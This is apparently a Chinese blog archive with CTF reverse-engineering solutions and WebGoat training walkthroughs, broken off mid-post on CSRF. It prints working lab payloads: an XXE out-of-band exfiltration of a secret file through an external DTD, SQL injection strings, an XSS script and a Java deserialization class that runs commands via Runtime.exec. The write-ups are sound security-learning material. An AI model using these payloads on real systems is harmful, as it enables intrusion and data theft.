</span>    </span>if </span>(data_len </span>:= </span>len</span>(data)) </span>> </span>(th1s_len </span>:= </span>len</span>(th1s)):
</span>        th1s </span>= </span>th1s </span>* </span>(data_len </span>// </span>th1s_len) </span>+ </span>th1s[:data_len </span>- </span>th1s_len]
</span>    </span>return </span>bytes</span>(</span>map</span>(</span>lambda </span>x</span>, </span>y</span>: x </span>^ </span>y, data, th1s))
</span>
</span>def </span>enc</span>(</span>plain</span>):
</span>    plain </span>= </span>list</span>(plain)
</span>    plain </span>= </span>plain[::</span>-</span>1</span>]
</span>    </span>for </span>i </span>in </span>range</span>(</span>len</span>(plain)):
</span>        c </span>= </span>plain[i]
</span>        plain[i] </span>= </span>(c </span><< </span>3 </span>| </span>c </span>>> </span>5</span>) </span>& </span>255
</span>    </span>for </span>i </span>in </span>range</span>(</span>len</span>(plain) </span>- </span>1</span>):
</span>        plain[i] </span>^= </span>plain[(i </span>+ </span>1</span>)]
</span>    </span>return </span>bytes</span>(plain)
</span>
</span>def </span>check</span>(</span>a</span>):
</span>    </span>return </span>b64encode(a) </span>== </span>b</span>'mEiQCAjJoXJy2NiZQGGQyRm6IgHYQZAICKgowHHo4Dg='
</span>
</span>if </span>__name__ </span>== </span>'__main__'</span>:
</span>    </span>print</span>()
</span>    </span>while </span>True</span>:
</span>        stuff </span>= </span>input</span>(</span>'Now input you flag:'</span>)
</span>        stuff_ready </span>= </span>pre(stuff.encode())
</span>        result </span>= </span>check(enc(stuff_ready))
</span>        </span>if </span>result:
</span>            </span>print</span>(</span>'You get it! Python is so charming right?'</span>)
</span>            </span>break
</span>        </span>else</span>:
</span>            </span>print</span>(</span>'Failed, try again!'</span>)
</span>
</span>    </span>print</span>(</span>'[🐍] Commit you flag, see you next time!'</span>)
</span></code></pre>
可以看出，两次加密，都是可逆的，exp:</p>
from </span>base64 </span>import </span>*
</span>
</span>a</span>=</span>b64decode(</span>b</span>'mEiQCAjJoXJy2NiZQGGQyRm6IgHYQZAICKgowHHo4Dg='</span>)
</span>a</span>=</span>list</span>(a)
</span>for </span>i </span>in </span>range</span>(</span>len</span>(a)</span>-</span>2</span>,</span>-</span>1</span>,</span>-</span>1</span>):
</span>    a[i]</span>^=</span>a[i</span>+</span>1</span>]
</span>for </span>i </span>in </span>range</span>(</span>len</span>(a)):
</span>    b</span>=</span>a[i]
</span>    b</span>=</span>((b</span>>></span>3</span>)</span>|</span>(b</span><<</span>5</span>)) </span>& </span>0xFF
</span>    a[i]</span>=</span>b
</span>a</span>=</span>a[::</span>-</span>1</span>]
</span>th1s </span>= </span>'TBESCFSRSAEUITANAIIN'</span>.encode()
</span>if </span>(data_len </span>:= </span>len</span>(a)) </span>> </span>(th1s_len </span>:= </span>len</span>(th1s)):
</span>    th1s </span>= </span>th1s </span>* </span>(data_len </span>// </span>th1s_len) </span>+ </span>th1s[:data_len </span>- </span>th1s_len]
</span>print</span>(</span>bytes</span>(</span>map</span>(</span>lambda </span>x</span>, </span>y</span>: x </span>^ </span>y, a, th1s)))
</span></code></pre>
Easy_virus</h1>
文件: Windows的DLL和PE好难.exe</p>
提醒:</p>

一定要关杀毒！！！</li>
文件不要有中文名</li>
要以管理员身份运行</li>
</ol>
上来就发现一个很可疑的函数sub_401200</code>，8000行的mov指令，之后就是写文件的操作。动调一下发现文件在C:\SYC_DLL.dll</code>。</p>
</p>
以管理员身份运行得到那个文件。直接IDA打开发现只能以二进制文件打开。需要修复一下文件头。</p>
</p>
IDA打开，找到关键函数，只做了一个简单的字符串拼接，因为是在栈里直接拼接、传参，所以字符是倒序，用python</code>简单拼接一下就行。</p>
</p>
'odoG_era_uoY{CYS'</span>[::</span>-</span>1</span>]</span>+</span>'niWf'</span>[::</span>-</span>1</span>]</span>+</span>'swod'</span>[::</span>-</span>1</span>]</span>+</span>'}'
</span></code></pre>
飞翔的刘壮</h1>
文件: flappybird.apk</p>
这道本来是一道Misc题，但逆向也十分容易。</p>
apktool</code>解压，看出是一个unity</code>小游戏，一般来说unity</code>的主要逻辑文件在assets\bin\Data\Managed\Assembly-CSharp.dll</code>。用dnSpy</code>打开，找到flag</code>附近，加密算法就是ascii码加一。</p>
</p>
a</span>=</span>'RXBzek3ooxa0qc^0r^r/^hmsdq2shm8 |'
</span>print</span>(</span>""</span>.join([</span>chr</span>(</span>ord</span>(x)</span>+</span>1</span>) </span>for </span>x </span>in </span>a]))
</span></code></pre>
plain_snake</h1>
文件: plain_snake.txt</p>
python字节码比汇编容易多了。</p>
可以看到，主要的加密算法在fn2</code>函数。稍微分析一下可以得到一下代码</p>
def </span>fn1</span>(</span>s</span>):
</span>  s</span>=</span>list</span>(s.decode())
</span>  s</span>=</span>map</span>(</span>lambda </span>x</span>: x</span>^</span>83</span>,s)
</span>  </span>for </span>i </span>in </span>range</span>(</span>0</span>,</span>len</span>(s),</span>2</span>):
</span>    s[i</span>+</span>1</span>],s[i]</span>=</span>s[i],s[i</span>+</span>1</span>]
</span>    s[i]</span>^=</span>89
</span>    s[i</span>+</span>1</span>]</span>^=</span>67
</span>  </span>return </span>s.encode()
</span></code></pre>
再送到check</code>函数检查base64</code>是否正确。</p>
exp:</p>
import </span>base64
</span>b</span>=</span>list</span>(base64.b64decode(</span>b</span>'c0BiZGQgSU9kJEhPVXU5RH5ofk9lIA=='</span>))
</span>for </span>i </span>in </span>range</span>(</span>0</span>,</span>len</span>(b),</span>2</span>):
</span>    b[i],b[i</span>+</span>1</span>]</span>=</span>b[i</span>+</span>1</span>]</span>^</span>67</span>^</span>83</span>,b[i]</span>^</span>89</span>^</span>83
</span>print</span>(</span>"SYC{"</span>+</span>str</span>(</span>bytes</span>(b),</span>'utf-8'</span>)</span>+</span>"}"</span>)
</span></code></pre>
baby_re</h1>
文件: baby_re</p>
</p>
程序会根据是否在调试生成不同的值，干扰正常加密。可以在图中位置打上断点，先运行然后attach上去，就可以绕过了。就可以很轻松的将正确的v24</code>的值导出。</p>
加密函数比较容易，基本复制一下就行了。</p>
</p>
a1</span>=</span>[</span>0x29</span>,</span>0x89</span>,</span>0x62</span>,</span>0x3E</span>,</span>0x82</span>,</span>0xCE</span>,</span>0x50</span>,</span>0xD8</span>,</span>0x51</span>,</span>0xE9</span>,</span>0x31</span>,</span>0xFE</span>,</span>0xF3</span>,</span>0xDA</span>,</span>0x25</span>,</span>0x34</span>,</span>0x71</span>,</span>0x84</span>,</span>0x74</span>,</span>0x21</span>,</span>0xDB</span>,</span>0xA3</span>,</span>0xB9</span>,</span>0xC6</span>,</span>0x2D</span>,</span>0x4D</span>,</span>0x8B</span>,</span>0x6A</span>,</span>0x98</span>,</span>0x2A</span>,</span>0xBA</span>,</span>0xA2</span>,</span>0x37</span>,</span>0xE3</span>,</span>0xC4</span>,</span>0x28</span>,</span>0x4C</span>,</span>0x9C</span>,</span>0xFF</span>,</span>0xC1</span>,</span>0xCA</span>,</span>0x0A</span>,</span>0x65</span>,</span>0x4A</span>,</span>0x63</span>,</span>0xDE</span>,</span>0xB4</span>,</span>0x6B</span>,</span>0x99</span>,</span>0x0C</span>,</span>0x5E</span>,</span>0xD9</span>,</span>0x7E</span>,</span>0x73</span>,</span>0x09</span>,</span>0x6E</span>,</span>0x43</span>,</span>0xE7</span>,</span>0x05</span>,</span>0xD1</span>,</span>0x77</span>,</span>0x88</span>,</span>0x78</span>,</span>0x03</span>,</span>0x64</span>,</span>0x32</span>,</span>0x13</span>,</span>0xBD</span>,</span>0xCD</span>,</span>0x67</span>,</span>0x38</span>,</span>0x14</span>,</span>0x87</span>,</span>0x7A</span>,</span>0x02</span>,</span>0xA8</span>,</span>0xCC</span>,</span>0x0D</span>,</span>0x79</span>,</span>0x3D</span>,</span>0xCF</span>,</span>0x57</span>,</span>0xAE</span>,</span>0xD7</span>,</span>0x3B</span>,</span>0xA4</span>,</span>0x85</span>,</span>0x30</span>,</span>0xA6</span>,</span>0x5A</span>,</span>0x07</span>,</span>0x4E</span>,</span>0xE4</span>,</span>0x72</span>,</span>0xC3</span>,</span>0x6D</span>,</span>0x8F</span>,</span>0x96</span>,</span>0xF9</span>,</span>0x1D</span>,</span>0x16</span>,</span>0xBB</span>,</span>0xFD</span>,</span>0x08</span>,</span>0x5B</span>,</span>0x7F</span>,</span>0x2C</span>,</span>0x2B</span>,</span>0xF2</span>,</span>0x59</span>,</span>0xB2</span>,</span>0x5C</span>,</span>0x70</span>,</span>0xE1</span>,</span>0x1C</span>,</span>0x9E</span>,</span>0x45</span>,</span>0x7B</span>,</span>0xC5</span>,</span>0x00</span>,</span>0xB7</span>,</span>0xF0</span>,</span>0xFA</span>,</span>0xB6</span>,</span>0xD6</span>,</span>0x18</span>,</span>0x10</span>,</span>0x4F</span>,</span>0xCB</span>,</span>0xD3</span>,</span>0x27</span>,</span>0x76</span>,</span>0x97</span>,</span>0x3F</span>,</span>0x8C</span>,</span>0xF8</span>,</span>0xC0</span>,</span>0xEF</span>,</span>0x04</span>,</span>0xAC</span>,</span>0x46</span>,</span>0x11</span>,</span>0x9F</span>,</span>0x06</span>,</span>0xA0</span>,</span>0x9A</span>,</span>0x33</span>,</span>0x93</span>,</span>0xA7</span>,</span>0xAF</span>,</span>0xED</span>,</span>0xA1</span>,</span>0x48</span>,</span>0xB5</span>,</span>0x39</span>,</span>0x9D</span>,</span>0x2F</span>,</span>0xB0</span>,</span>0xB3</span>,</span>0xF1</span>,</span>0x6F</span>,</span>0x1A</span>,</span>0x95</span>,</span>0x69</span>,</span>0x35</span>,</span>0x3A</span>,</span>0x56</span>,</span>0x60</span>,</span>0xD5</span>,</span>0x94</span>,</span>0xAA</span>,</span>0xDF</span>,</span>0x55</span>,</span>0x41</span>,</span>0xD2</span>,</span>0xE0</span>,</span>0x20</span>,</span>0x12</span>,</span>0x7D</span>,</span>0xE5</span>,</span>0xFC</span>,</span>0xBF</span>,</span>0x53</span>,</span>0x4B</span>,</span>0x81</span>,</span>0xC9</span>,</span>0x83</span>,</span>0x91</span>,</span>0xF5</span>,</span>0xAD</span>,</span>0xF6</span>,</span>0x1F</span>,</span>0x75</span>,</span>0xDD</span>,</span>0x22</span>,</span>0xD0</span>,</span>0x26</span>,</span>0x19</span>,</span>0xF7</span>,</span>0x8E</span>,</span>0xDC</span>,</span>0x24</span>,</span>0x86</span>,</span>0xEC</span>,</span>0x1E</span>,</span>0x0E</span>,</span>0x01</span>,</span>0xD4</span>,</span>0x3C</span>,</span>0xC8</span>,</span>0xE6</span>,</span>0x15</span>,</span>0x54</span>,</span>0x5F</span>,</span>0x47</span>,</span>0xE2</span>,</span>0xAB</span>,</span>0x8D</span>,</span>0x17</span>,</span>0xE8</span>,</span>0xEA</span>,</span>0x40</span>,</span>0x0F</span>,</span>0xEB</span>,</span>0x23</span>,</span>0x44</span>,</span>0x6C</span>,</span>0x49</span>,</span>0xBE</span>,</span>0x61</span>,</span>0xA9</span>,</span>0x1B</span>,</span>0xC7</span>,</span>0x5D</span>,</span>0xFB</span>,</span>0xC2</span>,</span>0x42</span>,</span>0x90</span>,</span>0xEE</span>,</span>0xA5</span>,</span>0xB8</span>,</span>0xBC</span>,</span>0x2E</span>,</span>0x66</span>,</span>0x8A</span>,</span>0x80</span>,</span>0x58</span>,</span>0x0B</span>,</span>0x68</span>,</span>0x36</span>,</span>0x9B</span>,</span>0xF4</span>,</span>0xB1</span>,</span>0x92</span>,</span>0x52</span>,</span>0x7C</span>]
</span>input</span>=</span>[</span>0xE4</span>, </span>0x15</span>, </span>0xC4</span>, </span>0xED</span>, </span>0xA6</span>, </span>0x2F</span>, </span>0x56</span>, </span>0x10</span>, </span>0xBB</span>, </span>0x13</span>, </span>0xEB</span>, </span>0xAD</span>, </span>0x75</span>, </span>0x56</span>, </span>0xC7</span>, </span>0xBB</span>, </span>0xBB</span>, </span>0xE9</span>, </span>0xB9</span>, </span>0xCC</span>, </span>0x02</span>, </span>0x3A</span>, </span>0x50</span>, </span>0x9F</span>, </span>0x36</span>, </span>0x90</span>, </span>0x69</span>, </span>0xBE</span>, </span>0x7C</span>, </span>0x42</span>, </span>0x44</span>, </span>0xCA</span>, </span>0xC6</span>, </span>0xD4</span>, </span>0x24</span>, </span>0x5C</span>, </span>0xD2</span>, </span>0xB9</span>, </span>0x24</span>, </span>0xC1</span>, </span>0x18</span>, </span>0x93</span>, </span>0xB3</span>, </span>0xEA</span>]
</span>i1 </span>= </span>0
</span>i2 </span>= </span>0
</span>for </span>i </span>in </span>range</span>(</span>44</span>):
</span>    i1 </span>= </span>(i1 </span>+ </span>1</span>) </span>% </span>256
</span>    i2 </span>= </span>(i2 </span>+ </span>a1[i1]) </span>% </span>256
</span>    tmp </span>= </span>a1[i1]
</span>    a1[i1] </span>= </span>a1[i2]
</span>    a1[i2] </span>= </span>tmp
</span>    </span>input</span>[i] </span>= </span>a1[(a1[i2] </span>+ </span>a1[i1]) </span>% </span>256</span>] </span>^ </span>input</span>[i]
</span>print</span>(</span>str</span>(</span>bytes</span>(</span>input</span>),</span>'utf-8'</span>))
</span></code></pre>
golang1</h1>
文件: golang1</p>
先用upx -d golang1</code>脱壳，IDA 7.2打开，用golang_loader_assist</a>修复符号表。之后就容易了。</p>
</p>
a</span>=</span>list</span>(</span>rb</span>"</span>SXAxpmcXb5`z</span>[b6kaoe</span>\v</span>`pz</span>"</span>)
</span>for </span>i </span>in </span>range</span>(</span>len</span>(a)):
</span>    a[i]</span>^=</span>i</span>%</span>8
</span>print</span>(</span>str</span>(</span>bytes</span>(a),</span>'utf-8'</span>))
</span></code></pre>
参考文章</h1>

PE文件格式 - Mi1k7ea</a></li>
</ol>


WebGoat之路-7-Client side
2020-10-08T00:00:00+00:00
Client side</h1>
Bypass front-end restrictions</h2>
前端检验的绕过。</p>
Stage 2</h3>
绕过表单的限制大部分只要修改value</code>就好了。如图修改</p>
</p>
Stage 3</h3>
抓包，然后参数随便改。</p>
</p>
Client side filtering</h2>
Stage 2</h3>
当点击过下拉框后会发现多了一个隐藏的table</code>。</p>
</p>
Stage 3</h3>
直接查看源码，发现有一行注释，把注释的checkout code 填入，发现只是打了折，并没有免费。</p>
可以在价格节点上打上断点，</p>
再让价格改变时，看看调用堆栈，找到这样两个函数：</p>
看来使用ajax发送请求来判断是非能打折。仔细研究一下这个请求，当它在没有参数时会返回所有可能的checkcode。那答案是get_it_for_free</code>。</p>
</p>
HTML tampering</h2>
Stage 2</h3>
直接修改checkout</code>按钮发送的请求的参数就好了。</p>


WebGoat之路-8-Challenges
2020-10-08T00:00:00+00:00
Challenges</h1>
最后一章了！！！</p>
Admin lost password</h2>
先用sqlmap探测一下，两个参数是否能sql注入，但似乎都不行。再试一下弱密码，也不行。</p>
看看那张logo，下载了看看用Stegsolve</code>看看。啥也看不出来，太难了，还是翻源码吧。</p>
String </span>PASSWORD </span>= </span>"!!webgoat_admin_1234!!"</span>;
</span>@PostMapping(</span>"/challenge/1"</span>)
</span>@ResponseBody
</span>public </span>AttackResult </span>completed(@</span>RequestParam String</span> username, @</span>RequestParam String</span> password, </span>HttpServletRequest</span> request) {
</span>    </span>boolean</span> ipAddressKnown </span>=  </span>true</span>;
</span>    </span>boolean</span> passwordCorrect </span>= </span>"admin"</span>.equals(username) </span>&& </span>PASSWORD</span>.replace(</span>"1234"</span>, </span>String</span>.format(</span>"%04d"</span>,</span>ImageServlet</span>.</span>PINCODE</span>)).equals(password);
</span>    </span>if </span>(passwordCorrect </span>&&</span> ipAddressKnown) {
</span>        </span>return </span>success(</span>this</span>).feedback(</span>"challenge.solved"</span>).feedbackArgs(</span>Flag</span>.</span>FLAGS</span>.get(</span>1</span>)).build();
</span>    } </span>else if </span>(passwordCorrect) {
</span>        </span>return </span>failed(</span>this</span>).feedback(</span>"ip.address.unknown"</span>).build();
</span>    }
</span>    </span>return </span>failed(</span>this</span>).build();
</span>}
</span></code></pre>
可以看出，答案是!!webgoat_admin_????!!</code>，然后继续翻，</p>
static final public </span>int </span>PINCODE </span>= new </span>SecureRandom</span>().nextInt(</span>10000</span>);
</span>
</span>@Override
</span>protected</span> void doGet(</span>HttpServletRequest</span> request, </span>HttpServletResponse</span> response)
</span>		throws </span>ServletException</span>, </span>IOException </span>{
</span>	
</span>	</span>byte</span>[]</span> in </span>= new </span>ClassPathResource</span>(</span>"images/webgoat2.png"</span>).getInputStream().readAllBytes();
</span>	
</span>	</span>String</span> pincode </span>= </span>String</span>.format(</span>"%04d"</span>, </span>PINCODE</span>);
</span>	
</span>	in[</span>81216</span>]</span>=</span>(</span>byte</span>) pincode.charAt(</span>0</span>);
</span>	in[</span>81217</span>]</span>=</span>(</span>byte</span>) pincode.charAt(</span>1</span>);
</span>	in[</span>81218</span>]</span>=</span>(</span>byte</span>) pincode.charAt(</span>2</span>);
</span>	in[</span>81219</span>]</span>=</span>(</span>byte</span>) pincode.charAt(</span>3</span>);
</span>	
</span>	response.setContentType(</span>MediaType</span>.</span>IMAGE_PNG_VALUE</span>);
</span>	</span>FileCopyUtils</span>.copy(in, response.getOutputStream());
</span>}
</span></code></pre>
看出4个数字写在图片的81216-81216字节，81216的十六进制为13D40</code>，用文件二进制查看器看一下。</p>
或者用python写下代码。</p>
with </span>open</span>(</span>'logo.png'</span>,</span>'rb'</span>) </span>as </span>f:
</span>    f.seek(</span>81216</span>)
</span>    a</span>=</span>f.read(</span>4</span>)
</span>print</span>(</span>str</span>(a,</span>'utf-8'</span>))
</span></code></pre>
那最后密码就是!!webgoat_admin_1046!!</code>。</p>
Without password</h2>
同样还是先试试SQL注入，似乎用户名一定要是Larry</code>，但是密码可以注入，输入'or true--</code>就行了。</p>
Admin password reset</h2>
同样，还是先发一封邮件给自己，看看url有什么规律，但是似乎是随机生成的，算了，还是翻源码吧。</p>
这题原来是git泄露，访问http://127.0.0.1:8080/WebGoat/challenge/7/.git</code>，把git包下载下了，解压，恢复至最新版，里面有6个文件。用反编译工具打开一个最显眼的PasswordResetLink.class</code>，代码如下:</p>
import </span>java</span>.</span>util</span>.</span>Random</span>;
</span>
</span>public </span>class </span>PasswordResetLink </span>{
</span>  </span>public </span>String </span>createPasswordReset</span>(</span>String </span>paramString1</span>, </span>String </span>paramString2</span>) {
</span>    </span>Random</span> random </span>= new </span>Random</span>();
</span>    </span>if </span>(paramString1.equalsIgnoreCase(</span>"admin"</span>))
</span>      random.setSeed(paramString2.length()); 
</span>    </span>return </span>scramble(random, scramble(random, scramble(random, </span>MD5</span>.getHashString(paramString1))));
</span>  }
</span>  
</span>  </span>public static </span>String </span>scramble</span>(</span>Random </span>paramRandom</span>, </span>String </span>paramString</span>) {
</span>    </span>char</span>[]</span> arrayOfChar </span>=</span> paramString.toCharArray();
</span>    </span>for </span>(</span>byte</span> b </span>= </span>0</span>; b </span><</span> arrayOfChar.length; b</span>++</span>) {
</span>      </span>int</span> i </span>=</span> paramRandom.nextInt(arrayOfChar.length);
</span>      </span>char</span> c </span>=</span> arrayOfChar[b];
</span>      arrayOfChar[b] </span>=</span> arrayOfChar[i];
</span>      arrayOfChar[i] </span>=</span> c;
</span>    } 
</span>    </span>return new </span>String</span>(arrayOfChar);
</span>  }
</span>  
</span>  </span>public static </span>void </span>main</span>(</span>String</span>[] </span>paramArrayOfString</span>) {
</span>    </span>if </span>(paramArrayOfString </span>== </span>null </span>||</span> paramArrayOfString.length </span>!= </span>2</span>) {
</span>      </span>System</span>.out.println(</span>"Need a username and key"</span>);
</span>      </span>System</span>.exit(</span>1</span>);
</span>    } 
</span>    </span>String</span> str1 </span>=</span> paramArrayOfString[</span>0</span>];
</span>    </span>String</span> str2 </span>=</span> paramArrayOfString[</span>1</span>];
</span>    </span>System</span>.out.println(</span>"Generation password reset link for " </span>+</span> str1);
</span>    </span>System</span>.out.println(</span>"Created password reset link: " </span>+ </span>(</span>new </span>PasswordResetLink</span>()).createPasswordReset(str1, str2));
</span>  }
</span>}
</span></code></pre>
这里的Main函数都写好了，直接运行吧java PasswordResetLink admin xxx</code>，但是还缺第二个参数，但是这里只要用到它的长度，可以一点一点试。但是试到10位数都不对。</p>
又去翻源码了，源码中，这里的第二个参数是webgoat</code>，但是，我生成的编号和它的就是不一样，可能是java的版本不同吧(我用的是java14)，但源码中是硬编码写在里面的，只能直接用了。375afe1104f4a487a73823c50a9292a2</code></p>
Without account</h2>
先随便点点，发现每次试图投票，控制台都会输出一堆数字。但也没什么用，继续翻源码。</p>
@GetMapping(</span>value </span>= </span>"/challenge/8/vote/{stars}"</span>, </span>produces </span>= </span>MediaType</span>.</span>APPLICATION_JSON_VALUE</span>)
</span>@ResponseBody
</span>public </span>ResponseEntity</span><</span>?</span>> vote(@PathVariable(value </span>= </span>"stars"</span>) </span>int</span> nrOfStars, </span>HttpServletRequest</span> request) {
</span>    </span>//Simple implementation of VERB Based Authentication
</span>    </span>String</span> msg </span>= </span>""</span>;
</span>    </span>if </span>(request.getMethod().equals(</span>"GET"</span>)) {
</span>        </span>var</span> json </span>= </span>Map</span>.of(</span>"error"</span>, </span>true</span>, </span>"message"</span>, </span>"Sorry but you need to login first in order to vote"</span>);
</span>        </span>return </span>ResponseEntity</span>.status(</span>200</span>).body(json);
</span>    }
</span>    </span>Integer</span> allVotesForStar </span>=</span> votes.getOrDefault(nrOfStars, </span>0</span>);
</span>    votes.put(nrOfStars, allVotesForStar </span>+ </span>1</span>);
</span>    </span>return </span>ResponseEntity</span>.ok().header(</span>"X-Flag"</span>, </span>"Thanks for voting, your flag is: " </span>+ </span>Flag</span>.</span>FLAGS</span>.get(</span>8</span>)).build();
</span>}
</span></code></pre>
前面用的是GetMapping</code>，但是后面又要求请求不是GET</code>，所以随便写一个不常用的请求方式就行了，比如HEAD</code>，flag就在返回消息的头部。这是一种叫做Authentication Bypass Using HTTP Verb Tampering</code>的漏洞。</p>
总结</h1>
用了一个国庆，把WebGoat全部做完了，收获还是很多的，了解了各种常见的Web漏洞，自然也知道了如何才能防范这些漏洞。以后有可能会继续做做DVWA，可以了解一下php世界的Web安全。</p>


手机Firefox禁止知乎简书跳转App
2020-10-07T00:00:00+00:00
手机没有装知乎和简书时，用Firefox浏览网页版时，总是会这样：</p>
解决方法：手机Firefox地址栏输入about:config</code>。</p>
插入两个键network.protocol-handler.external.zhihu</code>和network.protocol-handler.external.jianshu</code>，值都为false</code>就行了。</p>


WebGoat之路-4-XML External Entities & Broken Access Control
2020-10-07T00:00:00+00:00
(A4) XML External Entities (XXE)</h1>
XEE</h2>
Stage 4</h3>
把请求的XML改成这样：</p>
<?</span>xml version=</span>"1.0"</span>?>
</span><!</span>DOCTYPE </span>comment </span>[
</span>    </span><!</span>ENTITY </span>js </span>SYSTEM </span>"file:///"</span>>
</span>]</span>>
</span><</span>comment</span>>
</span>	<</span>text</span>></span>&js;</span></</span>text</span>>
</span></</span>comment</span>>
</span></code></pre>
Stage 7</h3>
虽然请求是用的json，但是我们可以直接把Content-Type</code>改成application/xml</code>，把上面的xml再发一遍就行了。Stage 8是完整的解题过程。</p>
Stage 8</h3>
在WebWolf里上传文件a1.dtd。</p>
<?</span>xml version=</span>"1.0" </span>encoding=</span>"UTF-8"</span>?>
</span><</span>!ENTITY % write "</span><</span>!ENTITY send SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
</span></code></pre>
在提交评论时，把提交内容改成下面的内容。</p>
<?</span>xml version=</span>"1.0"</span>?>
</span><!</span>DOCTYPE </span>root </span>[
</span>    </span><!</span>ENTITY </span>% </span>file </span>SYSTEM </span>"file:///c:/Users/[计算机用户名]/.webgoat-8.0.0.M17/XXE/secret.txt"</span>>
</span>    </span><!</span>ENTITY </span>% </span>getdtd </span>SYSTEM </span>"http://127.0.0.1:9090/files/[webgoat用户名]/a1.dtd"</span>>
</span>    </span>%getdtd;
</span>    </span>%write;
</span>]</span>>
</span><</span>comment</span>>  <</span>text</span>>1</span>&send;</span></</span>text</span>></</span>comment</span>>
</span></code></pre>
然后在WebWolf里面就能看到对应请求了，把内容输入评论即可。</p>
</p>
因为同一个DTD内引用上面定义的参数，因此这里需要放一个DTD到服务器上，变成外部DTD。就可以引用到上面定义到的参数了。</p>
(A5) Broken Access Control</h1>
Insecure Direct Object References</h2>
Stage 2</h3>
用户名Tom，密码cat，登录。</p>
Stage 3</h3>
请求传回，但没有显示出来的内容:userId,role</code></p>
</p>
Stage 4</h3>
这是符合REST设计理念的API，让你猜测如果查询profile时要指定userid的url。很简单，就是WebGoat/IDOR/profile/2342384</code>。</p>
Stage 5</h3>
第一步，题干要求查看别人的profile，根据hint</code>，把userid加一，但好像没用，一个一个试，发现userid为2342388。传回来中有一段json。</p>
下一步是要修改别人的profile，既然是RESTful应用，那么修改数据就是PUT，按照要求，把role数值改大，color改成red，成功。</p>
</p>
说到底，出现这种漏洞的原因是服务端没有做好身份认证。</p>
Missing Function Level Access Control</h2>
Stage 2</h3>
随便翻翻html就能找到，隐藏的是Users</code>和Config</code>。</p>
</p>
提交后有一个小提示，其中的一个url在下一个任务会用到。</p>
Stage 3</h3>
发送请求到http://127.0.0.1:8080/WebGoat/users</code>就可以看到Hash了。</p>
参考</h1>

WebGoat8 M17 XXE 全思路、题解与答案 - CSDN</a></li>
</ol>


WebGoat之路-5-Cross-Site Scripting & Insecure Deserialization
2020-10-07T00:00:00+00:00
(A7) Cross-Site Scripting (XSS)</h1>
Cross-Site Scripting</h2>
Stage 2</h3>
同一个站点，cookie是相同的，所以回答yes。</p>
Stage 7</h3>
在卡号的框里输入<script>alert("xss")</script></code></p>
Stage 10</h3>
前端路由模式，test路径在url上怎么表示。</p>
start.mvc#test</code></p>
Stage 11</h3>
可以直接访问http://127.0.0.1:8080/WebGoat/start.mvc#test/test=%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E</code>，控制台里就会输出phoneNum了。</p>
Stage 12</h3>
自己做吧。</p>
(A8) Insecure Deserialization</h1>
Insecure Deserialization</h2>
Stage 5</h3>
先写一段java进行序列化</p>
package </span>org.dummy.insecure.framework;
</span>
</span>import </span>java</span>.</span>io</span>.</span>BufferedReader</span>;
</span>import </span>java</span>.</span>io</span>.</span>IOException</span>;
</span>import </span>java</span>.</span>io</span>.</span>InputStreamReader</span>;
</span>import </span>java</span>.</span>io</span>.</span>ObjectInputStream</span>;
</span>import </span>java</span>.</span>io</span>.</span>Serializable</span>;
</span>import </span>java</span>.</span>time</span>.</span>LocalDateTime</span>;
</span>
</span>public </span>class </span>VulnerableTaskHolder </span>implements </span>Serializable </span>{
</span>	</span>//网页上给出的是1，但是根据提示serialVersionUID可能更新了，因此改成2
</span>    </span>private static final </span>long </span>serialVersionUID </span>= </span>2</span>;
</span>
</span>    </span>private </span>String </span>taskName;
</span>    </span>private </span>String </span>taskAction;
</span>    </span>private </span>LocalDateTime </span>requestedExecutionTime;
</span>
</span>    </span>public </span>VulnerableTaskHolder</span>(</span>String </span>taskName</span>, </span>String </span>taskAction</span>) {
</span>        </span>super</span>();
</span>        </span>this</span>.taskName </span>=</span> taskName;
</span>        </span>this</span>.taskAction </span>=</span> taskAction;
</span>        </span>this</span>.requestedExecutionTime </span>= </span>LocalDateTime</span>.now();
</span>    }
</span>
</span>    </span>private </span>void </span>readObject</span>( </span>ObjectInputStream </span>stream </span>) </span>throws </span>Exception </span>{
</span>        </span>//deserialize data so taskName and taskAction are available
</span>        stream.defaultReadObject();
</span>
</span>        </span>//blindly run some code. #code injection
</span>        </span>Runtime</span>.getRuntime().exec(taskAction);
</span>    }
</span>}
</span></code></pre>
再写一个序列化的类</p>
import </span>org</span>.</span>dummy</span>.</span>insecure</span>.</span>framework</span>.</span>VulnerableTaskHolder</span>;
</span>
</span>import </span>java</span>.</span>io</span>.</span>ByteArrayOutputStream</span>;
</span>import </span>java</span>.</span>io</span>.</span>IOException</span>;
</span>import </span>java</span>.</span>io</span>.</span>ObjectOutputStream</span>;
</span>import </span>java</span>.</span>util</span>.</span>Base64</span>;
</span>
</span>public </span>class </span>Main</span>{
</span>    </span>public static </span>void </span>main</span>(</span>String</span>[] </span>args</span>) </span>throws </span>IOException </span>{
</span>        </span>VulnerableTaskHolder</span> vulnerableTaskHolder</span>=new </span>VulnerableTaskHolder</span>(</span>"sleep"</span>,</span>"sleep 5"</span>);
</span>        </span>ByteArrayOutputStream</span> byteArrayOutputStream</span>=new </span>ByteArrayOutputStream</span>();
</span>        </span>ObjectOutputStream</span> objectOutputStream</span>=new </span>ObjectOutputStream</span>(byteArrayOutputStream);
</span>        objectOutputStream.writeUnshared(vulnerableTaskHolder);
</span>        </span>String</span> out</span>=</span>Base64</span>.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
</span>        </span>System</span>.out.println(out);
</span>    }
</span>}
</span></code></pre>
把输出的内容提交就行了。</p>
这题有一个坑，服务端的VulnerableTaskHolder</code>和他网页上显示出来的不一样，它会检测命令是否以sleep</code>开头(防止影响WebGoat的运行)，但是powershell</code>下，没有sleep</code>命令。所以运行WebGoat的shell一定要是bash，windows下git bash</code>也行。</p>


WebGoat之路-6-Vulnerable Components & Request Forgeries
2020-10-07T00:00:00+00:00
(A9) Vulnerable Components</h1>
Vulnerable Components</h2>
相比自己写的代码，使用的组件往往更容易被找到漏洞，因为寻找组件的漏洞的价值远比寻找一个网址的漏洞来得大。</p>
Stage 12</h3>
这题是利用一个给出的漏洞，详细内容可以去这里</a>查看。可以利用这个漏洞对上传其它类型的对象，或给类加上动态代理。答案为</p>
<</span>java.lang.Integer</span>>
</span>1
</span></</span>java.lang.Integer</span>>
</span></code></pre>
(A8:2013) Request Forgeries</h1>
Cross-Site Request Forgeries</h2>
CSRF也是一种经典的攻击方式了。</p>
Stage 3</h3>
再写一个网页。</p>
<!</span>DOCTYPE </span>html</span>>
</span><</span>html</span>>
</span><</span>head</span>>
</span>    <</span>script</span>>
